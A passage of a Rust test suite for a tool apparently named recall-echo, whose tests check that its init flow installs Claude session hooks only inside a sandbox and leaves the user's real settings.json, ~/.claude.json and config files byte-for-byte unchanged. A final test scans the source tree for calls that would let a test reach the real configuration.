assert!(!sandbox.dir.path().join(".claude/settings.json").exists());
}
#[test]
fn the_real_config_is_untouched_by_the_init_flow() {
let before = RealConfig::snapshot();
let sandbox = Sandbox::new();
sandbox.init("skip\n").unwrap();
assert!(sandbox.entity_root().join("memory/MEMORY.md").exists());
assert!(sandbox
.roots
.entity_root_file()
.is_some_and(std::path::Path::exists));
let hooks = fs::read_to_string(sandbox.roots.claude_dir().unwrap().join("settings.json"))
.expect("hooks landed in the sandbox");
for command in ["archive-session", "checkpoint", "consume"] {
assert!(
hooks.contains(&format!("{} {command}", sandbox.roots.recall_bin())),
"{command} missing from the sandboxed settings.json: {hooks}"
);
}
before.assert_unchanged();
}
struct RealConfig {
entries: Vec<Digest>,
hook_commands: Vec<String>,
mcp_servers: Vec<String>,
}
impl RealConfig {
fn snapshot() -> Self {
Self {
entries: vec![
Digest::take(real_settings_file(), Strictness::Exact),
Digest::take(real_claude_json(), Strictness::WhenUntouched),
Digest::take(real_entity_root_file(), Strictness::Exact),
],
hook_commands: recall_hook_commands(&real_settings_file()),
mcp_servers: mcp_server_names(&real_claude_json()),
}
}
fn assert_unchanged(&self) {
for entry in &self.entries {
entry.assert_unchanged();
}
assert_eq!(
recall_hook_commands(&real_settings_file()),
self.hook_commands,
"a recall-echo hook was added to or removed from the real settings.json"
);
assert_eq!(
mcp_server_names(&real_claude_json()),
self.mcp_servers,
"an MCP server was added to or removed from the real ~/.claude.json"
);
}
}
fn real_settings_file() -> PathBuf {
real_home().join(".claude").join("settings.json")
}
fn real_claude_json() -> PathBuf {
real_home().join(".claude.json")
}
fn real_entity_root_file() -> PathBuf {
let base = match std::env::var_os("XDG_CONFIG_HOME") {
Some(dir) if !dir.is_empty() => PathBuf::from(dir),
_ => real_home().join(".config"),
};
base.join("recall-echo").join("entity-root")
}
fn real_home() -> PathBuf {
dirs::home_dir().expect("a home directory")
}
fn recall_hook_commands(settings: &Path) -> Vec<String> {
let Some(value) = read_json(settings) else {
return Vec::new();
};
let mut found: Vec<String> = Vec::new();
collect_hook_commands(&value, &mut found);
found.retain(|command| command.contains("recall-echo"));
found.sort();
found
}
fn collect_hook_commands(value: &serde_json::Value, out: &mut Vec<String>) {
match value {
serde_json::Value::Object(map) => {
if let Some(serde_json::Value::String(command)) = map.get("command") {
out.push(command.clone());
}
for nested in map.values() {
collect_hook_commands(nested, out);
}
}
serde_json::Value::Array(items) => {
for nested in items {
collect_hook_commands(nested, out);
}
}
_ => {}
}
}
fn mcp_server_names(claude_json: &Path) -> Vec<String> {
let Some(value) = read_json(claude_json) else {
return Vec::new();
};
let mut names: Vec<String> = value
.get("mcpServers")
.and_then(serde_json::Value::as_object)
.map(|servers| servers.keys().cloned().collect())
.unwrap_or_default();
names.sort();
names
}
fn read_json(path: &Path) -> Option<serde_json::Value> {
serde_json::from_str(&fs::read_to_string(path).ok()?).ok()
}
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
enum Strictness {
Exact,
WhenUntouched,
}
#[derive(Debug, Clone, PartialEq, Eq)]
struct Digest {
path: PathBuf,
exists: bool,
len: u64,
sha256: String,
mtime: Option<SystemTime>,
strictness: Strictness,
}
impl Digest {
fn take(path: PathBuf, strictness: Strictness) -> Self {
use sha2::{Digest as _, Sha256};
let bytes = fs::read(&path).ok();
let sha256 = bytes
.as_ref()
.map_or_else(String::new, |bytes| format!("{:x}", Sha256::digest(bytes)));
Self {
exists: bytes.is_some(),
len: bytes.map_or(0, |bytes| bytes.len() as u64),
sha256,
mtime: fs::metadata(&path).ok().and_then(|m| m.modified().ok()),
path,
strictness,
}
}
fn assert_unchanged(&self) {
let now = Digest::take(self.path.clone(), self.strictness);
let path = self.path.display();
assert_eq!(
now.exists, self.exists,
"{path} came into being or vanished"
);
let compare_bytes = match self.strictness {
Strictness::Exact => {
assert_eq!(now.mtime, self.mtime, "{path} was touched");
true
}
Strictness::WhenUntouched => now.mtime == self.mtime,
};
if compare_bytes {
assert_eq!(now.len, self.len, "{path} changed length");
assert_eq!(now.sha256, self.sha256, "{path} was rewritten");
}
}
}
#[test]
fn archive_template_has_header() {
let sandbox = Sandbox::new();
sandbox.init("skip\n").unwrap();
let content = fs::read_to_string(sandbox.entity_root().join("memory/ARCHIVE.md")).unwrap();
assert!(content.contains("# Conversation Archive"));
assert!(content.contains("| # | Date"));
}
}
#[cfg(test)]
mod suite_fence {
use std::path::{Path, PathBuf};
const FORBIDDEN: [&str; 3] = [
"run_with_reader(", "init::run(", "ConfigRoots::from_env()", ];
fn rs_files(dir: &Path, out: &mut Vec<PathBuf>) {
let Ok(entries) = std::fs::read_dir(dir) else {
return;
};
for entry in entries {
let path = entry.expect("dir entry").path();
if path.is_dir() {
rs_files(&path, out);
} else if path.extension().is_some_and(|e| e == "rs") {
out.push(path);
}
}
}
fn test_region(source: &str, whole_file: bool) -> &str {
if whole_file {
return source;
}
source
.find("#[cfg(test)]")
.map_or("", |start| &source[start..])
}
#[test]
fn no_test_reaches_the_real_configuration() {
let manifest = Path::new(env!("CARGO_MANIFEST_DIR"));
let mut files = Vec::new();
rs_files(&manifest.join("src"), &mut files);
let src_count = files.len();
rs_files(&manifest.join("tests"), &mut files);
assert!(
src_count > 0 && files.len() > src_count,
"scan walked nothing — CARGO_MANIFEST_DIR wrong?"
);
let offenders: Vec<String> = files
.iter()
.flat_map(|path| {
let source = std::fs::read_to_string(path).expect("read");
let whole_file = path.starts_with(manifest.join("tests"));
let region = test_region(&source, whole_file).to_string();
let path = path.clone();
region
.lines()
.filter(|line| !line.contains("sanctioned:"))
.filter(|line| FORBIDDEN.iter().any(|needle| line.contains(needle)))
.map(|line| format!("{}: {}", path.display(), line.trim()))
.collect::<Vec<_>>()
})
.collect();
assert!(
offenders.is_empty(),
"tests must take `init::run_with` with sandboxed ConfigRoots:\n{}",
offenders.join("\n")
);
}
}